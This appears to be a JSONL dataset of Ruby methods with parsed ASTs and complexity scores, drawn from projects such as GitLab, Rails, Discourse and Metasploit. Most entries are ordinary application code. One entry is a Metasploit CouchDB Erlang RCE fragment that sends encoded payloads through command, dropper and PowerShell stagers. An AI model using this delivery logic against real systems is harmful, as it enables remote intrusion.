{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/pypi_packages.rb","start_line":84,"raw_source":"def present_html(content)\n        # Adjusts grape output format\n        # to be HTML\n        content_type 'text/html; charset=utf-8'\n        env['api.format'] = :binary\n\n        body content\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"present_html\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_type\",{\"type\":\"str\",\"children\":[\"text/html; charset=utf-8\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"api.format\"]},{\"type\":\"sym\",\"children\":[\"binary\"]}]},{\"type\":\"send\",\"children\":[null,\"body\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}","id":"2fd5e144-fef5-4e62-a2a2-5838e79955d0"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/data_import/contact_manager.rb","start_line":6,"raw_source":"def build_contact(params)\n    contact = find_or_initialize_contact(params)\n    update_contact_attributes(params, contact)\n    contact\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_contact\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contact\",{\"type\":\"send\",\"children\":[null,\"find_or_initialize_contact\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_contact_attributes\",{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"contact\"]}]},{\"type\":\"lvar\",\"children\":[\"contact\"]}]}]}","id":"ed96800d-e262-45d1-94a1-d1b0b301e0be"}
{"repo_name":"puma","file_path":"./repos/puma/test/config/t4_conf.rb","start_line":4,"raw_source":"def initialize(output=STDOUT)\n    @output = output\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"output\",{\"type\":\"const\",\"children\":[null,\"STDOUT\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@output\",{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}","id":"7e82fa2d-e367-4fcf-b908-8b0e06b4c0ec"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/enterprise_trials/trial_button_component.rb","start_line":33,"raw_source":"def initialize\n      @trial_key = Token::EnterpriseTrialKey.find_by(user_id: User.system.id)\n\n      super\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@trial_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Token\"]},\"EnterpriseTrialKey\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"system\"]},\"id\"]}]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"8c7194d1-7f8e-4437-936a-6b6a87abce4d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/notes.rb","start_line":62,"raw_source":"def note_wiki_page_email(recipient_id, note_id, reason = nil)\n      setup_note_mail(note_id, recipient_id)\n\n      @wiki_page = @note.noteable\n      @target_url = Gitlab::UrlBuilder.build(@wiki_page, **note_target_url_query_params)\n\n      mail_answer_note_thread(@wiki_page, @note, note_thread_options(reason))\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"note_wiki_page_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient_id\"]},{\"type\":\"arg\",\"children\":[\"note_id\"]},{\"type\":\"optarg\",\"children\":[\"reason\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_note_mail\",{\"type\":\"lvar\",\"children\":[\"note_id\"]},{\"type\":\"lvar\",\"children\":[\"recipient_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@wiki_page\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@note\"]},\"noteable\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@target_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UrlBuilder\"]},\"build\",{\"type\":\"ivar\",\"children\":[\"@wiki_page\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"note_target_url_query_params\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"mail_answer_note_thread\",{\"type\":\"ivar\",\"children\":[\"@wiki_page\"]},{\"type\":\"ivar\",\"children\":[\"@note\"]},{\"type\":\"send\",\"children\":[null,\"note_thread_options\",{\"type\":\"lvar\",\"children\":[\"reason\"]}]}]}]}]}","id":"63a6bbcc-2cf5-4ad5-8797-2be366713a8a"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/stylesheet/manager.rb","start_line":190,"raw_source":"def self.fs_assets_hash\n    hashes = list_files.sort.map { |x| Digest::SHA1.hexdigest(\"#{x}: #{File.read(x)}\") }\n    Digest::SHA1.hexdigest(hashes.join(\"|\"))\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fs_assets_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hashes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"list_files\"]},\"sort\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"x\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]}]}]}","id":"ef509198-4313-4572-b39a-a6b676af6e26"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/login.rb","start_line":51,"raw_source":"def fill_input(selector, text)\n        if page.has_css?(\"html.mobile-view\", wait: 0)\n          expect(page).to have_no_css(\".d-modal.is-animating\")\n        end\n        find(selector).fill_in(with: text)\n      end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_input\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"selector\"]},{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\"html.mobile-view\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"str\",\"children\":[\".d-modal.is-animating\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]},\"fill_in\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]}]}","id":"61e694f4-d69c-4935-bfcb-c63ca4e68cdf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2494,"raw_source":"def enable_ci\n    project_feature.update_attribute(:builds_access_level, ProjectFeature::ENABLED)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_ci\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_feature\"]},\"update_attribute\",{\"type\":\"sym\",\"children\":[\"builds_access_level\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectFeature\"]},\"ENABLED\"]}]}]}","id":"85acf7a7-181b-4e9d-b419-4936dfe57044"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/module/redefine_method.rb","start_line":17,"raw_source":"def redefine_method(method, &block)\n    visibility = method_visibility(method)\n    silence_redefinition_of_method(method)\n    define_method(method, &block)\n    send(visibility, method)\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"redefine_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"visibility\",{\"type\":\"send\",\"children\":[null,\"method_visibility\",{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},{\"type\":\"send\",\"children\":[null,\"silence_redefinition_of_method\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"visibility\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}","id":"9b6ef72f-fa98-4c42-a614-33e5a14f8b6b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/notification_setting.rb","start_line":115,"raw_source":"def event_enabled?(event)\n    # We override these two attributes, so we can't use read_attribute\n    return failed_pipeline if event.to_sym == :failed_pipeline\n    return fixed_pipeline if event.to_sym == :fixed_pipeline\n\n    has_attribute?(event) && !!read_attribute(event)\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"event_enabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"to_sym\"]},\"==\",{\"type\":\"sym\",\"children\":[\"failed_pipeline\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_pipeline\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"to_sym\"]},\"==\",{\"type\":\"sym\",\"children\":[\"fixed_pipeline\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fixed_pipeline\"]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_attribute?\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_attribute\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},\"!\"]},\"!\"]}]}]}]}","id":"cc2e6075-17fe-464a-8caf-b48379dae796"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/apache_couchdb_erlang_rce.rb","start_line":235,"raw_source":"def exploit_socket(sock)\n    case target['Type']\n    when :unix_cmd, :win_cmd\n      execute_command(payload.encoded, { sock: sock })\n    when :linux_dropper, :win_dropper\n      execute_cmdstager({ sock: sock })\n    when :psh_stager\n      execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })\n    else\n      fail_with(Failure::BadConfig, 'Invalid target specified')\n    end\n  end","complexity_score":24.4,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_socket\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"unix_cmd\"]},{\"type\":\"sym\",\"children\":[\"win_cmd\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sock\"]},{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"linux_dropper\"]},{\"type\":\"sym\",\"children\":[\"win_dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sock\"]},{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"psh_stager\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[null,\"cmd_psh_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_instance\"]},\"arch\"]},\"first\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sock\"]},{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Invalid target specified\"]}]}]}]}","id":"720a2968-a5da-4cc9-842c-7df93b36cd5f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/lists/base_destroy_service.rb","start_line":27,"raw_source":"def decrement_higher_lists(list)\n        list.board.lists.movable.where('position > ?', list.position)\n            .update_all('position = position - 1')\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"decrement_higher_lists\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"board\"]},\"lists\"]},\"movable\"]},\"where\",{\"type\":\"str\",\"children\":[\"position > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"position\"]}]},\"update_all\",{\"type\":\"str\",\"children\":[\"position = position - 1\"]}]}]}","id":"03167280-b92f-4694-8819-e0763765eb43"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/undo_block_serializer.rb","start_line":8,"raw_source":"def id\n    [ActivityPub::TagManager.instance.uri_for(object.account), '#blocks/', object.id, '/undo'].join\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]}]},{\"type\":\"str\",\"children\":[\"#blocks/\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]},{\"type\":\"str\",\"children\":[\"/undo\"]}]},\"join\"]}]}","id":"c1b7ef96-8a56-4950-8d18-73ad37a0aa0f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb","start_line":1293,"raw_source":"def cmd_favorite(*args)\n            valid_custom_args = ['-c', '-d', '-l']\n            favs_file = Msf::Config.fav_modules_file\n\n            # always display the help banner if -h is provided or if multiple options are provided\n            if args.include?('-h') || args.select{ |arg| arg if valid_custom_args.include?(arg) }.length > 1\n              cmd_favorite_help\n              return\n            end\n\n            # if no arguments were provided, check if there is an active module to add\n            if args.empty?\n              unless active_module\n                print_error('No module has been provided to favorite.')\n                cmd_favorite_help\n                return\n              end\n\n              args = [active_module.fullname]\n              favorite_add(args, favs_file)\n              return\n            end\n\n            case args[0]\n            when '-c'\n              args.delete('-c')\n              unless args.empty?\n                print_error('Option `-c` does not support arguments.')\n                cmd_favorite_help\n                return\n              end\n\n              favorite_del(args, true, favs_file)\n            when '-d'\n              args.delete('-d')\n              if args.empty?\n                unless active_module\n                  print_error('No module has been provided to delete.')\n                  cmd_favorite_help\n                  return\n                end\n\n                args = [active_module.fullname]\n              end\n\n              favorite_del(args, false, favs_file)\n            when '-l'\n              args.delete('-l')\n              unless args.empty?\n                print_error('Option `-l` does not support arguments.')\n                cmd_favorite_help\n                return\n              end\n              cmd_show('favorites')\n            else # no valid options, but there are arguments\n              if args[0].start_with?('-')\n                print_error('Invalid option provided')\n                cmd_favorite_help\n                return\n              end\n\n              favorite_add(args, favs_file)\n            end\n          end","complexity_score":71.93,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_favorite\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"valid_custom_args\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"-c\"]},{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"str\",\"children\":[\"-l\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"favs_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"fav_modules_file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"-h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"valid_custom_args\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"lvar\",\"children\":[\"arg\"]},null]}]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_favorite_help\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_module\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No module has been provided to favorite.\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_favorite_help\"]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_module\"]},\"fullname\"]}]}]},{\"type\":\"send\",\"children\":[null,\"favorite_add\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"favs_file\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-c\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"str\",\"children\":[\"-c\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Option `-c` does not support arguments.\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_favorite_help\"]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"favorite_del\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"favs_file\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"str\",\"children\":[\"-d\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_module\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No module has been provided to delete.\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_favorite_help\"]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_module\"]},\"fullname\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"favorite_del\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"favs_file\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-l\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"str\",\"children\":[\"-l\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Option `-l` does not support arguments.\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_favorite_help\"]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_show\",{\"type\":\"str\",\"children\":[\"favorites\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"start_with?\",{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Invalid option provided\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_favorite_help\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"favorite_add\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"favs_file\"]}]}]}]}]}]}","id":"8ded2a8a-e69e-4bc8-a4a8-73c584c6ed3b"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/flash_test.rb","start_line":159,"raw_source":"def test_does_not_set_the_session_if_the_flash_is_empty\n    get :std_action\n    assert_nil session[\"flash\"]\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_does_not_set_the_session_if_the_flash_is_empty\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"std_action\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"str\",\"children\":[\"flash\"]}]}]}]}]}","id":"bee6ec0f-eccc-4700-a247-e879281d8ef3"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/standardfilters.rb","start_line":980,"raw_source":"def filter_array(input, property, target_value, default_value = [], &block)\n      ary = InputIterator.new(input, context)\n\n      return default_value if ary.empty?\n\n      block.call(ary) do |item|\n        if target_value.nil?\n          item[property]\n        else\n          item[property] == target_value\n        end\n      rescue TypeError\n        raise_property_error(property)\n      rescue NoMethodError\n        return nil unless item.respond_to?(:[])\n        raise\n      end\n    end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_array\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]},{\"type\":\"arg\",\"children\":[\"property\"]},{\"type\":\"arg\",\"children\":[\"target_value\"]},{\"type\":\"optarg\",\"children\":[\"default_value\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ary\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InputIterator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[null,\"context\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ary\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_value\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"ary\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_value\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"property\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"property\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"target_value\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TypeError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise_property_error\",{\"type\":\"lvar\",\"children\":[\"property\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"[]\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}]}]}","id":"f4b03622-3c12-456d-9488-dfc361e39846"}
